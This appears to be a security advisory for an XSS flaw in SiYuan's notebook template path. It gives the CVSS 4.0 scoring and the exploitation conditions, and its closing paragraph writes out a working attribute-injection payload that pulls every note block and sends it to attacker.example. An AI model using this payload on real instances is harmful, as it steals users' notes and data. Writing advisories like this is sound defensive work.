SiYuan CVE-2026-87811

Exploitation requires two conditions: first, the attacker must have at least low-privilege authenticated access to a SiYuan instance sufficient to configure or create a notebook and set its template path (PR:L per CVSS); second, a victim user with broader access must open the notebook's configuration panel after the malicious path has been persisted (UI:A per CVSS). Non-default multi-user deployment or shared access scenarios substantially increase the risk of both conditions being met simultaneously. In a single-user local installation, the attacker and victim are the same person, making exploitation self-inflicted and of limited practical concern. The vulnerability does not require any specific OS platform, network protocol, or optional feature beyond the notebook template path field being reachable - no unusual configuration is required beyond having a multi-user environment where the attacker can write template paths.

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N) scores 8.4 and accurately characterizes the threat model: low-privilege authenticated access is needed to plant the payload (PR:L), and a victim must open the notebook configuration panel to trigger it (UI:A). The high confidentiality and integrity impact (VC:H/VI:H) reflect the ability to make same-origin API calls - potentially exfiltrating all notes, API tokens, or user data - and to manipulate application state. Attack complexity is low once access is established. EPSS data is not available in the supplied intelligence. This CVE has no CISA KEV listing and no confirmed public exploit code, so real-world exploitation probability is currently speculative. For single-user local deployments, the PR:L requirement is a meaningful limiting factor, since the attacker and victim would need to share a SiYuan instance. In multi-user or team deployments exposed to a network, the risk is materially higher: any lower-privileged user could target another. The absence of availability impact (VA:N) is consistent with the payload's focus on data theft and API abuse rather than service disruption.

An attacker with a low-privilege account on a shared SiYuan instance sets a notebook's template path to a value such as '" autofocus onfocus="fetch('/api/query',{method:'POST',body:JSON.stringify({stmt:'SELECT * FROM blocks'})}).then(r=>r.json()).then(d=>fetch('https://attacker.example/exfil?d='+btoa(JSON.stringify(d))))//'. When an administrator or co-user next opens that notebook's configuration page, the injected handler fires automatically, exfiltrating all indexed note content to the attacker's server via a same-origin API query. No public exploit code has been identified, but the technique is trivially reproducible by any developer familiar with attribute-context XSS.